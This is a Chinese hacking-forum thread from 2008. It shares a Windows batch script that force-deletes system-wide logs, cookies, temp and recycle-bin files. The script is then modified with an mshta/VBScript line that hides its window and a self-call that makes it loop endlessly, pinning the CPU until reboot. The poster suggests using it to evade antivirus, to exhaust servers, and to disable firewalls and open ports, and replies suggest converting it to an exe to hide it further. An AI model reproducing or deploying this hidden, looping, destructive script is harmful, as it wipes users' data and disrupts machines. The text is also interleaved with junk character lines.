标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
[打印本页]
作者:
平湖秋月
时间:
2008-9-13 23:51
标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
大家经常会看到这个垃圾清除的的BAT程序，也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ，速度快而且不重不漏！系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善，要是能够自动检测系统中的垃圾文件并且删除那该多好啊！
. L* u% I. N* s% J! R4 P" f0 C
a.bat源代码如下：
% m; n2 a6 h$ u5 M2 u
+ Y; j1 H% E; C4 ]6 r1 o7 f1 O
R' R6 ?/ N2 H* B' r6 Z! N
===可以直接保存改名a.bat=====================
( e6 s, B9 H0 \- }/ _) Y
@echo off
$ [3 z$ r6 B8 z8 b- r9 J( q' a
echo 正在清除系统垃圾文件，请稍等......
! C2 T- k2 m% ~" g2 [; v
@del /f /s /q %systemdrive%\*.tmp
% L u; P! r* x1 x4 P3 w4 O
@del /f /s /q %systemdrive%\*._mp
* m, a; o8 I+ e: U N* _5 b
@del /f /s /q %systemdrive%\*.log
) U' x5 ~' O8 s& V2 F9 I& O3 M+ V5 B
@del /f /s /q %systemdrive%\*.gid
5 l9 f4 m4 v* V
@del /f /s /q %systemdrive%\*.chk
$ b) z1 \7 ]: N3 o
@del /f /s /q %systemdrive%\*.old
3 B" ^+ R3 I& j. [8 H
@del /f /s /q %systemdrive%\recycled\*.*
& S5 [. w! o. ^! @
@del /f /s /q %windir%\*.bak
7 k( P m1 J! ^" `+ J5 T
@del /f /s /q %windir%\prefetch\*.*
, V+ {) X3 X: B- q5 L! }
@rd /s /q %windir%\temp & md %windir%\temp
, `3 g2 T2 z* j3 n# k% C
@del /f /q %userprofile%\cookies\*.*
! `4 R2 O7 ]! p" K/ i! J5 G
@del /f /q %userprofile%\recent\*.*
# l5 U6 M }. e' u. e5 `& |
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
$ q, ^# y7 p% V; n4 e" N+ {
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
* u' z! h1 |, i% w& n0 n& O
@del /f /s /q "%userprofile%\recent\*.*"
& |& k, o: f% t. Q1 q9 r
echo 清除系统LJ完成！
' k8 {! o$ j! m
其实简单的一句话便实现了那个功能，在“echo 清除系统LJ完成！”后面加上一句 “call a.bat”就OK了，命令的意思大家都懂，我就不做解释了！我运行了一下，到是能够自动检测和删除了，而且关掉对话框也简单，直接关闭就行了！但是如果 被当作入侵工具却又点太暴露，并且那个DOS框始终不能隐藏，很容易被发现.这该怎么办？想想批处理里面的命令，貌似没见到有隐藏对话框的用法（如果有请告诉指教一下！我的QQ：118122875），于是到网上找了一下，决定用VBS代码实现，于是又加上了下面的代码，其实也很简单，也就加了一句话进去：
6 |, F5 w d. P$ @4 }# t
, ]% K0 t& I( \( i7 G# u/ s- x: |8 Q
===可以直接保存改名为a.bat
(一定要是a.bat哦具体说明原因你应该明白吧======
+ n: i' L4 k/ C+ L9 \* _) e
@echo off
3 U T& l- j# S9 j
if "%1" == "h" goto begin
* V; M. `) K: {, [: M; ~; [; ?& w
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
. F2 e% g/ q( y# A9 v9 p5 G/ F( \9 ~$ b
:begin
. Z/ M, G6 k) {8 B, W h
echo 正在清除系统垃圾文件，请稍等......
, n! c7 j0 {" x7 w2 f7 U) N1 `
@@del /f /s /q %systemdrive%\*.tmp
& t4 F9 {: u: T) Q" |. @
@del /f /s /q %systemdrive%\*._mp
% Y' F* \0 }, s
@del /f /s /q %systemdrive%\*.log
* x% g* D! _$ N7 R
@del /f /s /q %systemdrive%\*.gid
$ v4 W. r5 b. k' ]3 Z( Z6 o( v
@del /f /s /q %systemdrive%\*.chk
) ]2 t7 R/ K! {0 r3 G
@del /f /s /q %systemdrive%\*.old
* B m) f! s8 ?8 ]
@del /f /s /q %systemdrive%\recycled\*.*
9 f1 @8 I0 j2 H$ ?6 x% A6 E
@del /f /s /q %windir%\*.bak
8 R/ O- @5 j; r: O' _+ J
@del /f /s /q %windir%\prefetch\*.*
% w9 Y' n6 m7 k- l. e- T
@rd /s /q %windir%\temp & md %windir%\temp
) N* h% R+ G% x& S0 W: P- D
@del /f /q %userprofile%\cookies\*.*
& N9 I$ x! j1 g" s) p( A2 S* W
@del /f /q %userprofile%\recent\*.*
! Q: I3 h, t/ ~
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
# E, C, U# l! l0 C2 ]
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
0 |; T3 I7 ?0 L. i3 X
@del /f /s /q "%userprofile%\recent\*.*"
. l8 N) k& T" |2 Z3 G! u$ t
echo 清除系统LJ完成！
8 H2 |( ~; O7 \) g$ ^/ E
call a.bat
5 k6 D2 Y. I. o0 d( _& K3 h
运行看看！什么效果？
8 t2 c4 j9 e h) p, s9 G; o
对话框消失了！打开任务管理器查看显示CPU运用：100% 看进程里面cmd.exe占用CPU：99 本来想删除这个进程，但是哪晓得点右键准备去删除那个cmd.exe，没有想到不见了，然后仔细一看，其实cmd.exe没有不见，但是已经PID不一样了，也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环，这时候有的朋友会想可以用taskkill命令来删除进程，但是PID几乎是每2秒换一次，你的速度有那么快？！目前我还没找到解决的办法（高手请指教），无赖只好重新启动...哎！其实这都是雕虫小技，只不过是最基础的东西，但是有的时候最简单的也是最要命的！
# I4 |( R! I" b( _0 r) r) O
( `' C2 j* _+ Y8 ~7 z4 O
你说，我们可以利用这个BAT做些什么：
7 W- V3 Z, f! m6 m
1 A2 S/ ?6 i* ?( M0 \+ n9 `1 y
1.因为bat文件可以躲过杀软！这样利用它的无限循环启动一些你自己的程序，当然咯，重复的循环安装时没有必要的，我只是打个比方，你可以自己改动代码达到自己的目的！
3 V4 O) f9 |. t; o0 x; _, Z( ~
2.它循环使用消耗资源，如果这样的程序多弄几个，全部启动.你说服务器会怎么样？
& b5 Q: X( ^$ n9 r
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码，那不是更好？当然这些应用都是我个人的一些分析，没有真正的实验过，我想一个可以成功的通过～不过，这个小东西还有个美中不足，cmd.exe在进程里面看得到，至于怎么隐藏，那就请各位高手指教了，在下刚刚接触批处理，莱鸟一个，有什么不对的地方和我联系啊！我的QQ：118122875 平湖秋月
作者:
上帝的爱
时间:
2008-9-14 05:03
想法非常不错
作者:
柔肠寸断
时间:
2008-9-14 17:34
打个岔，流氓的应用，呵呵
作者:
柔肠寸断
时间:
2008-9-14 17:38
现在来正经的回答下问题：
2 a) L& N+ |3 ~' [0 U
1、在bat下隐藏对话框，可以使用一个参数的，但是我记不得了
' u0 _! [+ K" F4 t2 I2 D( K, ]
) [1 ]4 o: v9 S( V3 k$ \7 k
2、可以将bat转换成exe格式的文件啊，使用bat2exe,下次我找到了就发出来哈
作者:
问道小生
时间:
2008-9-14 19:03
其实这个批处理还有一个问题，就是把log文件一律也作为垃圾处理了~~~
L1 @9 d" O0 a: I
部分软件卸载是需要log文件的，删除了它，就会造成软件无法正常卸载，或者卸载不干净。因此，log文件并不是垃圾，不同软件计录的log文件有着不同的作用，有的甚至是非常重要的，不是可以随便删除的，例如：一张CD碟片就有一个log日志文件，它主要记录EAC对CD抓轨的各项参数。
作者:
平湖秋月
时间:
2008-9-15 21:43
楼上的你们说的都有道理 理论上是成立的 我有时间试试看
欢迎光临 【3.A.S.T】网络安全爱好者 (http://www.3ast.com/)
Powered by Discuz! 7.2
